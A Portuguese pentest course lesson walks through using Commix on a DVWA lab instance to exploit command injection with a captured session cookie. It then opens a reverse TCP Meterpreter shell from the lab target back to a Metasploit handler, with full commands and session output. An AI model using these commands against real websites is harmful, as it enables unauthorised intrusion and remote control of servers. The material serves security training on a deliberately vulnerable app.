

# Pentest com Kali Linux





**Instrutor: Vitor Mazuco**

**<http://facebook.com/vitormazuco>**

**Email: [vitor.mazuco@gmail.com](mailto:vitor.mazuco@gmail.com)**

**WebSite:**

**<http://vmzsolutions.com.br>**



## Invadindo um site com o Commix

Nessa aula, vamos invadir um site com o uso do programa

Commix. Ele é um projeto recente, mas já muito bem organizado e poderoso! Acesse o site oficial do projeto:

<https://github.com/commixproject/commix>

# Invadindo um site com o Commix

Vamos primeiramente usar a nossa BurpSuite e copiar o nosso cookie de nossa seção do site:

<http://192.168.1.70/dvwa/vulnerabilities/exec/>

The screenshot shows the Burp Suite interface. On the left, the 'Site map' tab is active, displaying a list of discovered URLs. The main panel shows the 'HTTP History' tab, which lists several requests. The request to `http://192.168.1.70/dvwa/vulnerabilities/exec/` is highlighted. Below the history list, the 'Request' tab is selected, showing the raw HTTP request details. A yellow arrow points to the `Cookie: security=low; PHPSESSID=2kv7q09pgn9pemel2rfd1r8563` line in the request details.

Host	Method	URL	Params	Status	Length	MIME type
http://192.168.1.70	GET	/dvwa/index.php		200	5218	HTML
http://192.168.1.70	GET	/dvwa/login.php		200	1738	HTML
http://192.168.1.70	GET	/dvwa/vulnerabilities/exec/		200	4981	HTML
http://192.168.1.70	GET	/dvwa/		302	642	
http://192.168.1.70	POST	/dvwa/login.php		302	558	
http://192.168.1.70	GET	/dvwa/about.php				HTML
http://192.168.1.70	GET	/dvwa/dvwa/js/dvwaPage.js				script
http://192.168.1.70	GET	/dvwa/instructions.php				HTML
http://192.168.1.70	GET	/dvwa/logout.php				HTML
http://192.168.1.70	GET	/dvwa/phpinfo.php				HTML
http://192.168.1.70	GET	/dvwa/security.php				HTML

```
GET /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.1.70
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.1.70/dvwa/index.php
Cookie: security=low; PHPSESSID=2kv7q09pgn9pemel2rfd1r8563
Connection: close
Upgrade-Insecure-Requests: 1
```

## Invadindo um site com o Commix

Depois disso, vamos pegar o código que faz a variável o seu *submit* (botão) de nosso DVWA. Você pode pegar ao clicar na opção ver código fonte.

```
<p>Enter an IP address below:</p>  
<form name="ping" action="#" method="post">  
  <input type="text" name="ip" size="30">  
  <input type="submit" value="submit" name="submit">  
</form>
```

\$1

\$2

\$3



## Invadindo um site com o Commix

Agora, vamos baixar o commix e executar o comando para agente poder ver se há alguma vulnerabilidade no sistema:

```
# git clone https://github.com/commixproject/commix.git
```

```
# cd commix
```

```
# python commix.py --url="http://192.168.1.70/dvwa/vulnerabilities/exec/"
```

```
--data="ip=INJECT_HERE&submit=submit" --cookie="security=low;
```

```
PHPSESSID=2kv7q09pgn9pemel2rfd1r8563"
```



## Invadindo um site com o Commix

Sintaxe:

- `ip=INJECT_HERE = $1` - Esse comando é onde o código é injetável!
- `&submit= $2` – Esse é o nome do value (valor)
- `Submit = $3` – Esse é o nome do botão



## Invadindo um site com o Commix

```
[?] Do you want a Pseudo-Terminal shell? [Y/n] > y
```

```
> ? (ver as opções)
```

```
> reverse_tcp
```

```
> set lhost=192.168.1.75
```

```
> set lport=2400
```

```
> 2
```





## Invadindo um site com o Commix

Agora vamos abrir o outro terminal e rodar o msfconsole

```
# msfconsole
```

```
> use multi/handler
```

```
> set payload python/meterpreter/reverse_tcp
```

```
> set lhost 192.168.1.75
```

```
> set lport 2400
```

```
> exploit
```



## Invadindo um site com o Commix

Voltando ao terminal do commix:

---[ Meterpreter reverse TCP shells ]---

Type '5' to use a PHP meterpreter reverse TCP shell.

Type '6' to use a Python meterpreter reverse TCP shell.

Type '7' to use a Windows meterpreter reverse TCP shell.

Type '8' to use the web delivery script.

```
commix(reverse_tcp_other) > 6
```



## Invadindo um site com o Commix

Agora você vai voltar ao terminal do msfconsole e veja se você conseguiu o meterpreter!

```

    |||    |||

    =[ metasploit v4.14.27-dev ]
+ -- --=[ 1659 exploits - 951 auxiliary - 293 post ]
+ -- --=[ 486 payloads - 40 encoders - 9 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
msf > use multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.75
lhost => 192.168.1.75
msf exploit(handler) > set lport 2400
lport => 2400
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.75:2400
[*] Starting the payload handler...
[*] Sending stage (40044 bytes) to 192.168.1.70
[*] Meterpreter session 1 opened (192.168.1.75:2400 -> 192.168.1.70:38698) a
2017-06-23 18:08:29 -0300
```